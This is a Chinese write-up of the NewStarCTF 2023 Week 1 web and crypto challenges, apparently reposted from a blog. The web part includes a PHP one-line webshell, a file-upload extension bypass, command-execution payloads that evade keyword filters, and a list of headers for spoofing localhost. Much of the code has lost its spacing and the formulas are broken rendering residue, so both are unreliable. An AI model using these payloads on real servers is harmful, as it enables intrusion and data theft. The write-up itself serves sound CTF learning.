0


【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~

文章目录

2023NewStarCTF

Web

泄露的秘密

www.zip 

Begin of Upload

打开源码 找到限制是在前端

我们抓包 上传正常后缀的文件 比如jpg结尾

但是这样传上去服务器是无法解析的

所以我们进行抓包 然后在bp中修改后缀名

将我们上传的后缀jpg在请求包中改为php 服务器就可以解析我们的语句了

一句话木马:

<?php eval($_POST['a']);?>

然后进入到我们上传的这个文件中就可以rce啦

http://13878733-90ba-4e0c-9a0a-4ce861aaa1bf.node4.buuoj.cn:81/upload/aaa_b.php?b=system(%27cat%20/fllll4g%27);

image-20230926083224320

ErrorFlask

python中flask启的框架

输入非法字符,报错

在报错中找到源代码

Begin of HTTP

考点:对请求头的考察
POST /?ctf=ctfer HTTP/1.1
Host: node4.buuoj.cn:27705
//设置发起请求的浏览器
User-Agent: NewStarCTF2023
//设置只有本地用户才能访问  知识扩展 这些都可以用
Forwarded-For:127.0.0.1
Forwarded:127.0.0.1
X-Forwarded-Host:127.0.0.1
X-remote-IP:127.0.0.1
X-remote-addr:127.0.0.1
True-Client-IP:127.0.0.1
X-Client-IP:127.0.0.1
Client-IP:127.0.0.1
X-Real-IP:127.0.0.1
Ali-CDN-Real-IP:127.0.0.1
Cdn-Src-Ip:127.0.0.1
Cdn-Real-Ip:127.0.0.1
CF-Connecting-IP:127.0.0.1
X-Cluster-Client-IP:127.0.0.1
WL-Proxy-Client-IP:127.0.0.1
Proxy-Client-IP:127.0.0.1
Fastly-Client-Ip:127.0.0.1
True-Client-Ip:127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
//设置发起访问请求的网址
Referer: newstarctf.com
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://node4.buuoj.cn:27705
Connection: close
Cookie: track_uuid=b0378d4d-bdbe-4b92-d3d9-4e70dceeaff3; power=ctfer
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache

secret=n3wst4rCTF2023g00000d

Begin of PHP

源码开套:

<?php
error_reporting(0);highlight_file(__FILE__);if(isset($_GET['key1'])&&isset($_GET['key2'])){echo"=Level 1=<br>";if($_GET['key1']!==$_GET['key2']&&md5($_GET['key1'])==md5($_GET['key2'])){$flag1=True;}else{die("nope,this is level 1");}}if($flag1){echo"=Level 2=<br>";if(isset($_POST['key3'])){if(md5($_POST['key3'])===sha1($_POST['key3'])){$flag2=True;}}else{die("nope,this is level 2");}}if($flag2){echo"=Level 3=<br>";if(isset($_GET['key4'])){if(strcmp($_GET['key4'],file_get_contents("/flag"))==0){$flag3=True;}else{die("nope,this is level 3");}}}if($flag3){echo"=Level 4=<br>";if(isset($_GET['key5'])){if(!is_numeric($_GET['key5'])&&$_GET['key5']>2023){$flag4=True;}else{die("nope,this is level 4");}}}if($flag4){echo"=Level 5=<br>";extract($_POST);foreach($_POSTas$var){if(preg_match("/[a-zA-Z0-9]/",$var)){die("nope,this is level 5");}}if($flag5){echofile_get_contents("/flag");}else{die("nope,this is level 5");}}

首先进入第一关:

利用数组特性绕过

if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2']))

因为md5不能对数组进行加密,所以设置数据类型均为数组的时候就会全部返回null,使得两值相等

payload:

?key1[]=11&key2[]=22

第二关:

同理,数组绕过,返回值均为null 相等

第三关:

strcmp漏洞 如果输入错误数据类型无法比较报错,执行的结果也是返回0

所以使用数组报错

第四关:

is_numeric

字符串绕过

2024a

同样使用数组绕过对数字的验证

第五关:

高度重视两个函数:

extract

: 给设定的变量赋值

foreach

: 遍历键值对中的值

我们传的值只要设置为符号就可以绕过foreach中的匹配,但是当我们成功绕过我们发现,啊咋多了个flag5

这也没有之前的设置啊

然后查询了一些extract函数

image-20230926102735451

发现其赋值的特性,所以在post中对flag5给个初始值就行,默认为true。

image-20230926102757103

R!C!E

首先是md5的绕过 这个密码比较特殊 网上一搜就有了

114514

这里一般使用python来爆破(当时偷懒了直接网上搜的

import hashlib
defcrack(pre):for i inrange(0,999999):if(hashlib.md5(str(i).encode("UTF-8")).hexdigest())[0:6]==str(pre):print(i)break
crack("c4d038")

然后就可以进行rce了

过滤了好多:

 if(!preg_match("/flag|system|pass|cat|ls/i",$code))

使用exec代替system

使用tac代替cat

使用通配符* 代替flag

payload:

password=114514&e[v.a.l=echo(exec('tac /f*'));

在传参的时候 变量名会将不合法的字符转化为下划线 只会转换一次 其中不合法字符包括

[

.

所以让第一个转换为下划线 后面的点号就不会被改变

避大坑:一定要加一个echo!!!!一开始忘记让它回显了555 也可以

var_dump()

法二:

var_dump(file_get_contents($_POST['_']))$_=

Login

有注册界面 先尝试一下普通用户进去的样子 否则注册界面写出来就没有什么意义了

在交互模式中退出方法

ctrl+c

或者

ctrl+d

在bin目录中一般存放的是可执行命令

退出之后我们思考为什么一进来就是在chat程序中 肯定是前面有人输入其他命令了嘛

我们点击向上键 可以看到内容

但是个人感觉没什么大用哈哈

还是得爆破密码

在bp中跑一下 admin的密码是000000

Crypto

babyrsa:

考点:多素数rsa

首先yafu分解得到10个素数

import gmpy2
from Crypto.Util.number import*

e =65537
n =17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261
c =14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595

P =[2217990919,4278428893,2804303069,3654864131,2923072267,2338725373,2706073949,2970591037,2370292207,2463878387,3939901243,2794985117,3207148519,4093178561,3831680819]
phi =1for i inrange(len(P)):
    phi *= P[i]-1

d = gmpy2.invert(e,phi)
m =pow(c,d,n)print(long_to_bytes(m))#b'flag{us4_s1ge_t0_cal_phI}'

Vigenere

还是推荐:https://www.guballa.de/vigenere-solver

然后对于题目中的描述 我搜了一些是法语:不可破译的语言

那么我们在破解的时候选择French

image-20230926120113199

此外想补充一下可以根据开头密文和部分已知明文flag进行匹配推测密钥

small_d

考点:低解密指数攻击

源码:

from secret import flag
from Crypto.Util.number import*

p = getPrime(1024)
q = getPrime(1024)

d = getPrime(32)
e = inverse(d,(p-1)*(q-1))
n = p*q
m = bytes_to_long(flag)

c =pow(m,e,n)print(c)print(e)print(n)# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433

下面是直接调用的板子:

import gmpy2
from Crypto.Util.number import*# numerator(n):分子, denominator(d):分母deft_cf(n, d):# 将分数 x/y 转为连分数的形式
    res =[]while d:
        res.append(n // d)
        n, d = d, n % d
    return res

defcf(sub_res):# 得到渐进分数的分母和分子
    n, d =1,0for i in sub_res[::-1]:# 从后面往前循环
        d, n = n, i * n + d
    return d, n

deflist_fraction(x, y):# 列出每个渐进分数
    res = t_cf(x, y)
    res =list(map(cf,(res[0:i]for i inrange(1,len(res)))))# 将连分数的结果逐一截取以求渐进分数return res

defget_pq(a, b, c):# 由p+q和pq的值通过维达定理来求解p和q(解二元一次方程)
    par = gmpy2.isqrt(b * b -4* a * c)# 由上述可得,开根号一定是整数,因为有解
    x1, x2 =(-b + par)//(2* a),(-b - par)//(2* a)return x1, x2

defwienerAttack(e, n):print(2)for(d, k)in list_fraction(e, n):# 用一个for循环来注意试探e/n的连续函数的渐进分数,直到找到一个满足条件的渐进分数if k ==0:# 可能会出现连分数的第一个为0的情况,排除continueif(e * d -1)% k !=0:# ed=1 (mod φ(n)) 因此如果找到了d的话,(ed-1)会整除φ(n),也就是存在k使得(e*d-1)//k=φ(n)continue

        phi =(e * d -1)// k  # 这个结果就是 φ(n)
       
        px, qy = get_pq(1, n - phi +1, n)if px * qy == n:
            p, q =abs(int(px)),abs(int(qy))# 可能会得到两个负数,负负得正未尝不会出现
            d = gmpy2.invert(e,(p -1)*(q -1))# 求ed=1 (mod  φ(n))的结果,也就是e关于 φ(n)的乘法逆元dreturn d
    print("求解d失败")print(1)
e =8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n =19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
d = wienerAttack(e, n)print(d)
c =6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248
m =pow(c,d,n)print(long_to_bytes(m))

Wiener攻击学习:

需要学习连分数相关知识 Michael J.Wiener的论文

参考:https://cryptohack.gitbook.io/cryptobook/untitled/low-private-component-attacks/wieners-attack

使用wiener攻击的前提条件

  • d相比于n足够小 满足范围 d < 1 3 n 4 \frac{1}{3}\sqrt[4]{n} 31​4n​
  • q < p < 2q
  • e < phi(n)

image-20231002122440641

获得d的原理:

image-20231002122541594

ed = 1 mod phi(n)

即有 ed = k phi(n) + 1

又因为phi(n) = (p-1)(q-1) = pq - (p+q) + 1 约等于 pq = n

此外在ed式子中1所占值太小 可以忽略

即有

ed = kn

=>

       e 
      
     
       n 
      
     
    
      = 
     
     
     
       k 
      
     
       d 
      
     
    
   
     \frac{e}{n}=\frac{k}{d} 
    
   
 ne​=dk​

因为e和n已知 利用连分数的展开方法去尝试爆破d的值

那么连分数又是什么 又该如何获得连分数呢?

🌰

首先我们对==

       43 
      
     
       19 
      
     
    
   
     \frac{43}{19} 
    
   
 1943​==进行连分数展开
  •                                                      43                                  19                                                 \frac{43}{19}                        1943​ = 2 +                                                          5                                  19                                                 \frac{5}{19}                        195​
    

需要把分数部分的分子转化为1

  •                                                      43                                  19                                                 \frac{43}{19}                        1943​ = 2 +                                                          1                                               19                                     5                                                             \frac{1}{\frac{19}{5}}                        519​1​ = 2 +                                                          1                                               3                                     +                                                   4                                        5                                                                          \frac{1}{3+\frac{4}{5}}                        3+54​1​ = 2 +                                                          1                                               3                                     +                                                   1                                                       5                                           4                                                                                        \frac{1}{3+\frac{1}{\frac{5}{4}}}                        3+45​1​1​ = 2 +                                                          1                                               3                                     +                                                   1                                                       1                                           +                                                           1                                              4                                                                                                       \frac{1}{3+\frac{1}{1+\frac{1}{4}}}                        3+1+41​1​1​
    

如果对

       1 
      
     
       4 
      
     
    
   
     \frac{1}{4} 
    
   
 41​ 再进行转化的话余数为0 所以展开到此结束

那么如此繁琐的算法 我们解题的时候肯定不能手算吧 所以一种方法是上面我们自己写代码实现这种算法 基于欧几里得思想 遇到余数为0停止

另一种稍微简单的方法是直接使用sagemath 因为这里面的函数自带解连分数的功能

🌰

#sage
e=43
n=19
cf = continued_fraction(e/n)print(cf)
convergents = cf.convergents()print(convergents)#[2; 3, 1, 4]#[2, 7/3, 9/4, 43/19]

转换为分数的形式 每一次都是抛弃套娃的最后一次计算 比如第二次就是为 2 +

       1 
      
     
       3 
      
     
    
   
     \frac{1}{3} 
    
   
 31​ =  
  
   
    
     
     
       7 
      
     
       3 
      
     
    
   
     \frac{7}{3} 
    
   
 37​

同理带入到我们要解决的问题中 我们想要获得的k和d 就存在这其中一次的结果中

所以对每组进行尝试即可

简易版exp:

#sage
e =8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825
n =19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433
cf = continued_fraction(e/n)# print(cf)
convergents = cf.convergents()# print(convergents)
reald =1for kd in convergents:
    k = kd.numerator()#获取分子
    d = kd.denominator()#获取分母ifpow(2,e*d,n)==2:#判断我们的d能否在这个加密体系中对2加密之后成功还原为2 还原成功则证明解密正确
        reald = d
        print(d)break
c =6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248from Crypto.Util.number import*print(long_to_bytes(int(pow(c,d,n))))#2357048593#b'flag{learn_some_continued_fraction_technique#dc16885c}'

Baby_xor

考点:异或

源码:

from secret import*

ciphertext =[]for f in flag:
    ciphertext.append(f ^ key)print(bytes(ciphertext).hex())# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2

真服 一个简单的异或把我难住了 去cryptohack怒刷xor题目

flag ="e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2"
flag =bytes.fromhex(flag)from pwn import xor
#相当于对key进行暴力猜测for i inrange(256):ifb'f'orb'F'in xor(flag,i):print(xor(flag,i))#flag{x0r_15_symm3try_and_e4zy!!!!!!}

Affine

考点:仿射密码

源码:

from flag import flag, key

modulus =256

ciphertext =[]for f in flag:
    ciphertext.append((key[0]*f + key[1])% modulus)print(bytes(ciphertext).hex())# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064

很明显在加密程序中存在两个位置量 key[0] 和 key[1] 作为密钥a和b

其实仿射密码的本质还是解方程得到a和b

关于仿射密码参考:https://blog.csdn.net/jayq1/article/details/130474510?spm=1001.2014.3001.5501

利用部分已知明文

flag{*****} 

获得a和b的值

注意避坑!!!!

使用f和l这两个已知字符无法合适求解 一定要灵活 整体往后取一位用l和a求解就好了

完整exp:

import gmpy2

#key = '****CENSORED***************'    #密钥 censored 被遮盖
flag ='flag{*******CENSORED********}'#部分明文

data ="dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"#密文待解密

encrypted =bytes.fromhex(data)# encrypted = data# print(encrypted)
plaindelta =ord(flag[2])-ord(flag[1])print(plaindelta)
cipherdalte = encrypted[2]- encrypted[1]print(cipherdalte)

modulus =256
a = gmpy2.invert(plaindelta, modulus)* cipherdalte % modulus
b =(encrypted[1]- a *ord(flag[1]))% modulus
print(a,b)# a = 17# b = 23
a_inv = gmpy2.invert(a, modulus)
result =""for c in encrypted:
    result +=chr((c - b)* a_inv % modulus)print(result)#flag{4ff1ne_c1pher_i5_very_3azy}#------------------算法解释--------------------------# #对密文进行操作# # range(0,len(cip),2):生成一个从 0 开始、以 2 为步长、不超过 data 长度的整数序列。这个序列中的每一个整数 i,都是 data 中两个字符的起始位置。# # data[i:i+2]:对于这个序列中的每一个整数 i,取 data 中从 i 开始、长度为 2 的子串。这样就可以把 data 中的所有字符两两分组。# # int(data[i:i+2],16):对于这个子串,使用 int 函数将其转换为一个 16 进制的整数。# # for i in range(0,len(data),2):将上述操作应用到 range 函数生成的整数序列中的每一个整数 i,得到一个整数列表。# # 最终的结果就是 encrypted 列表,它包含了 data 中所有字符两两分组后转换成的 16 进制整数。例如,如果 data 是字符串 "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9",则 encrypted 是一个整数列表,它的值为 [128, 94, 237, 128, 203, 188, 185, 76, 195, 100, 19, 39, 87, 128, 236, 148, 168, 87, 223, 236, 141, 168, 202, 148, 168, 195, 19, 168, 204, 249]。# #去计算密钥key# print(encrypted[0])# plaindelta = (ord(flag[1]) - ord(flag[0]))      #提取部分已知明文# cipherdalte = (encrypted[1] - encrypted[0])     #提取已知密文# print(cipherdalte)# #原来的加密公式# #y1 = (a * x1 + b) (mod 256)# #y2 = (a * x2 + b) (mod 256)# #故有# #y1 - y2 = a*(x1-x2)(mod 256) # #想要求a  # #即为# #plaindelta = x1-x2# #cipherdalta = y1-y2# #cipherdalte = a * plaindelta(mod 256)    !!取模只是让最后的结果在0~251范围之间!!# #计算公式中的a,引入初等数论里面的内容# #ci = a * p % 256# #ci / p = a % 256# #在初等数论中 除相当于乘逆元# #故 ci * invert(p,256)= a (% 256) # #所以%251只是一个对于整体结果的一个限制,在公式推到的时候可以忽略存在# a = gmpy2.invert(plaindelta, 257) * cipherdalte %256    #数据全部放在0~251之间# #通过a计算b# b = (encrypted[0] - a * ord(flag[0]))  %256    #数据全部放在0~251之间# a_inv = gmpy2.invert(a, 257)# result = ""# for c in encrypted:#     result += chr(((c-b) * a_inv) % 256)# print(result)

BabyEncoding

part 1 of flag: ZmxhZ3tkYXp6bGluZ19lbmNvZGluZyM0ZTBhZDQ=  flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a}
part 2 of flag: MYYGGYJQHBSDCZJRMQYGMMJQMMYGGN3BMZSTIMRSMZSWCNY=
part 3 of flag: =8S4U,3DR8SDY,C`S-F5F-C(S,S<R-C`Q9F8S87T` 

前两部分赛博厨子直接出

最后一个部分采用Unencode编码 去使用bugku的工具https://ctf.bugku.com/tools

babyaes

考点:异或 aes中cbc模式

emm怎么讲嘞 虽然这个题叫做aes 但是真实的考点还是想考查大家的异或能力

附上源码:

from Crypto.Cipher import AES
import os
from flag import flag
from Crypto.Util.number import*defpad(data):return data +b"".join([b'\x00'for _ inrange(0,16-len(data))])defmain():
    flag_ = pad(flag)
    key = os.urandom(16)*2#32字节
    iv = os.urandom(16)#16字节print(bytes_to_long(key)^ bytes_to_long(iv)^1)
    aes = AES.new(key, AES.MODE_CBC, iv)
    enc_flag = aes.encrypt(flag_)print(enc_flag)if __name__ =="__main__":
    main()# 3657491768215750635844958060963805125333761387746954618540958489914964573229# b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'

先带大家分析一下这个题目啊,首先是因为要进行cbc的块加密模式嘛,所以把flag进行pad操作,如果不满足16位就在后面填充

\x00

然后获得key和iv:

key

: 随机生成加密的16个字节 重复2次 拼接

iv

: 随机生成加密的16个字节

然后利用到异或的知识对泄露的内容进行利用:

首先将泄露的数据与1异或 就会得到key和iv的异或值

然后我们在编码体系中看一下

bytes_to_long

long_to_bytes

函数的实现方法

都是针对单一字节独自操作的 就是对整体没有影响

然后我们写一个小demo测试一下当两个不等位的数据进行异或的对齐方式:

test1 =0b1110011
test2 =0b11# print(bin(test1 ^ test2)) #0b1110000    #结果显示是低位对齐进行异或

所以key和iv进行异或 因为key是iv的两倍 所以对于key的高16位字节没有影响

所以我们就可以直接得到key的组成:

key = long_to_bytes(data)[:16]*2

然后将

key ^ (key ^ iv) = iv

完整exp:

import os
from Crypto.Util.number import*from Crypto.Cipher import AES

data =3657491768215750635844958060963805125333761387746954618540958489914964573229
data = data ^1

key = long_to_bytes(data)[:16]*2
iv = bytes_to_long(key)^ data
iv = long_to_bytes(iv)

aes = AES.new(key, AES.MODE_CBC, iv)
c =b'>]\xc1\xe5\x82/\x02\x7ft\xf1B\x8d\n\xc1\x95i'
dec_flag = aes.decrypt(c)print(len(key),len(iv))print("flag=",dec_flag)#flag= b'firsT_cry_Aes\x00\x00\x00'

我是哈皮,祝您每天嗨皮!我们下期再见~


本文转载自: https://blog.csdn.net/jayq1/article/details/133490283
版权归原作者 哈皮Superman 所有, 如有侵权,请联系我们删除。

“【2023NewStar】#Week1 Web和Crypto 全题解!涉及知识扩展~”的评论:

还没有评论